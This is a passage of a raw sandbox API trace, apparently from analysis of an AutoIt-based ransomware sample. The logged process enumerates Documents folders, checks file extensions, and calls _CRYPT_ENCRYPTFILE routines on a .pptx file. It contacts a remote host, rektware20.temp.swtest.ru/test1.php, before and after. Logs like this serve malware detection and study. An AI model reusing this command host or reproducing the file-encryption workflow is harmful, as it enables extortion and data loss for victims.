lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.610] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.610] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.610] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.610] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0068.610] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.610] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.611] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164cf30 [0068.613] FindNextFileW (in: hFindFile=0x164cf30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.613] FindNextFileW (in: hFindFile=0x164cf30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="H", cchCount1=1, lpString2="D", cchCount2=1) returned 3 [0068.613] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.613] FindNextFileW (in: hFindFile=0x164cf30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0068.617] FindClose (in: hFindFile=0x164cf30 | out: hFindFile=0x164cf30) returned 1 [0068.617] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0xffffffff [0068.617] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0xffffffff [0068.617] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164d070 [0068.617] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.617] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.617] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.617] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.618] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.618] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.618] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.618] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.618] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.618] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.618] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.619] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.619] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0068.619] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.619] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.619] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.619] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.619] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.619] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.619] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.620] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.620] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.620] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0068.620] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0068.621] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164d070 [0068.621] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.621] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.621] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.622] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.622] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.622] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.622] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.622] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.622] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.622] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.622] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.623] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.623] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.623] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.623] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.623] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.623] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.623] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.623] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.623] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.623] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.623] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.624] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.624] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.624] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.624] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.624] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.624] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.624] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.624] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.624] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.624] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0068.624] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0068.625] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1ll4hQt6Q.pptx", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0068.625] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0068.625] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.625] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0068.625] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0068.625] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0068.625] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0068.625] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1621018, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1621018, lpdwBufferLength=0x130ef8c) returned 1 [0068.626] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0068.626] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0068.626] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0068.627] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0068.627] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0068.627] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0068.627] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629180, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629180*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0068.627] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292f0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0068.627] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0068.627] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0068.627] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0068.627] CloseHandle (hObject=0x0) returned 0 [0068.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ll4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="l4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hQt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Qt6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="t6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0068.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.628] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.628] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0068.628] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0068.628] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0068.628] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0068.628] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0068.628] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0068.628] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0068.628] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620da8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620da8, lpdwBufferLength=0x130ee1c) returned 1 [0068.628] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0068.629] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0068.629] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0068.629] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0068.629] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0068.629] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0068.629] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629200, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629200*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0068.629] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292a0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0068.629] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0068.629] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0068.629] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0068.629] CloseHandle (hObject=0x0) returned 0 [0068.629] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.629] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1ll4hQt6Q.pptx", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0068.630] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0068.630] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.630] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0068.630] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.630] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.630] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0068.630] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.630] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0068.630] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.630] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.630] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0068.630] PeekMessageW (in: lpMsg=0x130ecb4, 